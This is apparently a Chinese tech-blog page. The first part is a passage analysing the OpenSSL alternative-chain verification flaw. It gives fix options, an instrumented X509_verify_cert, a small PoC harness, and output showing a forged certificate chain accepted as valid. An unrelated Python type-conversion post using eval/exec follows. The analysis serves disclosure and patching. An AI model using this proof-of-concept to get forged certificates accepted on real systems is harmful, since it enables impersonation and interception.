// <4>
// 问题所在
ctx->last_untrusted--;
}
// <5>
retry = 1;
break;
}
}
}
} while (retry);
……
}
官方的解决方法是在 <5> 处重新计算 最后一个不可信证书位置计数 的值为链长:

ctx->last_untrusted = sk_X509_num(ctx->chain);

并去掉 <4> 处的 最后一个不可信证书位置计数 自减运算(其实去不去掉都无所谓)。

另一个解决办法可以是在 <1> <2> 后,在 <3> 处重置 最后一个不可信证书位置计数,加一行:

ctx->last_untrusted = num;

这样 <4> 处不用删除,而逻辑也是合理并前后一致的。


3.漏洞验证


笔者修改了部分代码并做了个Poc 。修改代码:
int X509_verify_cert(X509_STORE_CTX *ctx)
{
X509 [i]x, [/i]xtmp, [i]xtmp2, [/i]chain_ss = NULL;
int bad_chain = 0;
X509_VERIFY_PARAM *param = ctx->param;
int depth, i, ok = 0;
int num, j, retry;
int ([i]cb) (int xok, X509_STORE_CTX [/i]xctx);
STACK_OF(X509) *sktmp = NULL;
if (ctx->cert == NULL) {
X509err(X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY);
return -1;
}

cb = ctx->verify_cb;

/*
* first we make sure the chain we are going to build is present and that
* the first entry is in place
*/
if (ctx->chain == NULL) {
if (((ctx->chain = sk_X509_new_null()) == NULL) ||
(!sk_X509_push(ctx->chain, ctx->cert))) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&ctx->cert->references, 1, CRYPTO_LOCK_X509);
ctx->last_untrusted = 1;
}

/[i] We use a temporary STACK so we can chop and hack at it [/i]/
if (ctx->untrusted != NULL
&& (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}

num = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, num - 1);
depth = param->depth;

for (;;) {
/[i] If we have enough, we break [/i]/
if (depth < num)
break; /* FIXME: If this happens, we should take
* note of it and, if appropriate, use the
* X509_V_ERR_CERT_CHAIN_TOO_LONG error code
[i] later. [/i]/

/[i] If we are self signed, we break [/i]/
if (cert_self_signed(x))
break;

/*
* If asked see if we can find issuer in trusted store first
*/
if (ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) {
ok = ctx->get_issuer(&xtmp, ctx, x);
if (ok < 0)
return ok;
/*
* If successful for now free up cert so it will be picked up
* again later.
*/
if (ok > 0) {
X509_free(xtmp);
break;
}
}

/[i] If we were passed a cert chain, use it first [/i]/
if (ctx->untrusted != NULL) {
xtmp = find_issuer(ctx, sktmp, x);
if (xtmp != NULL) {
if (!sk_X509_push(ctx->chain, xtmp)) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
(void)sk_X509_delete_ptr(sktmp, xtmp);
ctx->last_untrusted++;
x = xtmp;
num++;
/*
* reparse the full chain for the next one
*/
continue;
}
}
break;
}

/[i] Remember how many untrusted certs we have [/i]/
j = num;
/*
* at this point, chain should contain a list of untrusted certificates.
* We now need to add at least one trusted one, if possible, otherwise we
* complain.
*/

do {
/*
* Examine last certificate in chain and see if it is self signed.
*/
i = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, i - 1);
if (cert_self_signed(x)) {
/[i] we have a self signed certificate [/i]/
if (sk_X509_num(ctx->chain) == 1) {
/*
* We have a single self signed certificate: see if we can
* find it in the store. We must have an exact match to avoid
* possible impersonation.
*/
ok = ctx->get_issuer(&xtmp, ctx, x);
if ((ok <= 0) || X509_cmp(x, xtmp)) {
ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
ctx->current_cert = x;
ctx->error_depth = i - 1;
if (ok == 1)
X509_free(xtmp);
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
} else {
/*
* We have a match: replace certificate with store
* version so we get any trust settings.
*/
X509_free(x);
x = xtmp;
(void)sk_X509_set(ctx->chain, i - 1, x);
ctx->last_untrusted = 0;
}
} else {
/*
* extract and save self signed certificate for later use
*/
chain_ss = sk_X509_pop(ctx->chain);
ctx->last_untrusted--;
num--;
j--;
x = sk_X509_value(ctx->chain, num - 1);
}
}
/[i] We now lookup certs from the certificate store [/i]/
for (;;) {
/[i] If we have enough, we break [/i]/
if (depth < num)
break;
/[i] If we are self signed, we break [/i]/
if (cert_self_signed(x))
break;
ok = ctx->get_issuer(&xtmp, ctx, x);

if (ok < 0)
return ok;
if (ok == 0)
break;
x = xtmp;
if (!sk_X509_push(ctx->chain, x)) {
X509_free(xtmp);
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
return 0;
}
num++;
}

/[i] we now have our chain, lets check it... [/i]/
i = check_trust(ctx);

/[i] If explicitly rejected error [/i]/
if (i == X509_TRUST_REJECTED)
goto end;

/*
* If it's not explicitly trusted then check if there is an alternative
* chain that could be used. We only do this if we haven't already
* checked via TRUSTED_FIRST and the user hasn't switched off alternate
* chain checking
*/
retry = 0;
// <1>
//ctx->last_untrusted = num;


if (i != X509_TRUST_TRUSTED
&& !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
&& !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
while (j-- > 1) {
xtmp2 = sk_X509_value(ctx->chain, j - 1);
ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
if (ok < 0)
goto end;
/[i] Check if we found an alternate chain [/i]/
if (ok > 0) {
/*
* Free up the found cert we'll add it again later
*/
X509_free(xtmp);

/*
* Dump all the certs above this point - we've found an
* alternate chain
*/
while (num > j) {
xtmp = sk_X509_pop(ctx->chain);
X509_free(xtmp);
num--;
ctx->last_untrusted--;
}
retry = 1;
break;
}
}
}
} while (retry);

printf(" num=%d, real-num=%d\n", ctx->last_untrusted, sk_X509_num(ctx->chain) );
/*
* If not explicitly trusted then indicate error unless it's a single
* self signed certificate in which case we've indicated an error already
* and set bad_chain == 1
*/


if (i != X509_TRUST_TRUSTED && !bad_chain) {
if ((chain_ss == NULL) || !ctx->check_issued(ctx, x, chain_ss)) {
if (ctx->last_untrusted >= num)
ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;
else
ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;
ctx->current_cert = x;
} else {
sk_X509_push(ctx->chain, chain_ss);
num++;
ctx->last_untrusted = num;
ctx->current_cert = chain_ss;
ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;
chain_ss = NULL;
}

ctx->error_depth = num - 1;
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
}
printf("flag=1\n");
/[i] We have the chain complete: now we need to check its purpose [/i]/
ok = check_chain_extensions(ctx);

if (!ok)
goto end;

printf("flag=2\n");
/[i] Check name constraints [/i]/

ok = check_name_constraints(ctx);

if (!ok)
goto end;
printf("flag=3\n");
ok = check_id(ctx);

if (!ok)
goto end;
printf("flag=4\n");
/[i] We may as well copy down any DSA parameters that are required [/i]/
X509_get_pubkey_parameters(NULL, ctx->chain);

/*
* Check revocation status: we do this after copying parameters because
* they may be needed for CRL signature verification.
*/

ok = ctx->check_revocation(ctx);
if (!ok)
goto end;
printf("flag=5\n");
i = X509_chain_check_suiteb(&ctx->error_depth, NULL, ctx->chain,
ctx->param->flags);
if (i != X509_V_OK) {
ctx->error = i;
ctx->current_cert = sk_X509_value(ctx->chain, ctx->error_depth);
ok = cb(0, ctx);
if (!ok)
goto end;
}
printf("flag=6\n");
/[i] At this point, we have a chain and need to verify it [/i]/
if (ctx->verify != NULL)
ok = ctx->verify(ctx);
else
ok = internal_verify(ctx);
if (!ok)
goto end;
printf("flag=7\n");
#ifndef OPENSSL_NO_RFC3779
/[i] RFC 3779 path validation, now that CRL check has been done [/i]/
ok = v3_asid_validate_path(ctx);
if (!ok)
goto end;
ok = v3_addr_validate_path(ctx);
if (!ok)
goto end;
#endif

printf("flag=8\n");
/[i] If we get this far evaluate policies [/i]/
if (!bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK))
ok = ctx->check_policy(ctx);
if (!ok)
goto end;
if (0) {
end:
X509_get_pubkey_parameters(NULL, ctx->chain);
}
if (sktmp != NULL)
sk_X509_free(sktmp);
if (chain_ss != NULL)
X509_free(chain_ss);
printf("ok=%d\n", ok );
return ok;
}
Poc:
//
//里头的证书文件自己去找一个,这个不提供了
//
#include
#include
#include
#include
#include


STACK_OF(X509) [i]load_certs_from_file(const char [/i]file)
{
STACK_OF(X509) *certs;
BIO *bio;
X509 *x;
bio = BIO_new_file( file, "r");
certs = sk_X509_new_null();
do
{
x = PEM_read_bio_X509(bio, NULL, 0, NULL);
sk_X509_push(certs, x);
}while( x != NULL );

return certs;
}


void test(void)
{
X509 *x = NULL;
STACK_OF(X509) *untrusted = NULL;
BIO *bio = NULL;
X509_STORE_CTX *sctx = NULL;
X509_STORE *store = NULL;
X509_LOOKUP *lookup = NULL;

store = X509_STORE_new();
lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() );
X509_LOOKUP_load_file(lookup, "roots.pem", X509_FILETYPE_PEM);
untrusted = load_certs_from_file("untrusted.pem");
bio = BIO_new_file("bad.pem", "r");
x = PEM_read_bio_X509(bio, NULL, 0, NULL);
sctx = X509_STORE_CTX_new();
X509_STORE_CTX_init(sctx, store, x, untrusted);
X509_verify_cert(sctx);
}

int main(void)
{
test();
return 0;
}
将代码中 X509_verify_cert() 函数加入输出信息如下:

编译,以伪造证书测试,程序输出信息为:

num=1, real-num=3

flag=1

flag=2

flag=3

flag=4

flag=5

flag=6

flag=7

flag=8

ok=1

认证成功

将 <1> 处注释代码去掉,编译,再以伪造证书测试,程序输出信息为:

num=3, real-num=3

flag=1

ok=0

认证失败


4.安全建议


建议使用受影响版本(OpenSSL 1.0.2b/1.0.2c 和 OpenSSL 1.0.1n/1.0.1o)的 产品或代码升级OpenSSL到最新版本 收起阅读 »

python字符串 元组 列表 字典互转

#1、字典 dict = {'name': 'Zara', 'age': 7, 'class': 'First'} #字典转为字符串,返回: {'age': 7, 'name': 'Zara', 'class': 'First'} print type(st...
继续阅读 »
#1、字典
dict = {'name': 'Zara', 'age': 7, 'class': 'First'}

#字典转为字符串,返回: {'age': 7, 'name': 'Zara', 'class': 'First'}
print type(str(dict)), str(dict)

#字典可以转为元组,返回:('age', 'name', 'class')
print tuple(dict)
#字典可以转为元组,返回:(7, 'Zara', 'First')
print tuple(dict.values())

#字典转为列表,返回:['age', 'name', 'class']
print list(dict)
#字典转为列表
print dict.values

#2、元组
tup=(1, 2, 3, 4, 5)

#元组转为字符串,返回:(1, 2, 3, 4, 5)
print tup.__str__()

#元组转为列表,返回:[1, 2, 3, 4, 5]
print list(tup)

#元组不可以转为字典

#3、列表
nums=[1, 3, 5, 7, 8, 13, 20];

#列表转为字符串,返回:[1, 3, 5, 7, 8, 13, 20]
print str(nums)

#列表转为元组,返回:(1, 3, 5, 7, 8, 13, 20)
print tuple(nums)

#列表不可以转为字典

#4、字符串

#字符串转为元组,返回:(1, 2, 3)
print tuple(eval("(1,2,3)"))
#字符串转为列表,返回:[1, 2, 3]
print list(eval("(1,2,3)"))
#字符串转为字典,返回:
print type(eval("{'name':'ljq', 'age':24}"))
这种方式要注意风险,因为eval实际上是解释执行python代码,如果输入来源于外部....

或者:
[quote]>> user
"{'name' : 'jim', 'sex' : 'male', 'age': 18}"
>>> exec("c="+user)
>>> c
{'age': 18, 'name': 'jim', 'sex': 'male'}[/quote]

也可以使用simplejson把JSON转化为Python内置类型
可以这样使用:
JSON到字典转化:
ret_dict = simplejson.loads(json_str)
字典到JSON转化:
json_str = simplejson.dumps(dict
收起阅读 »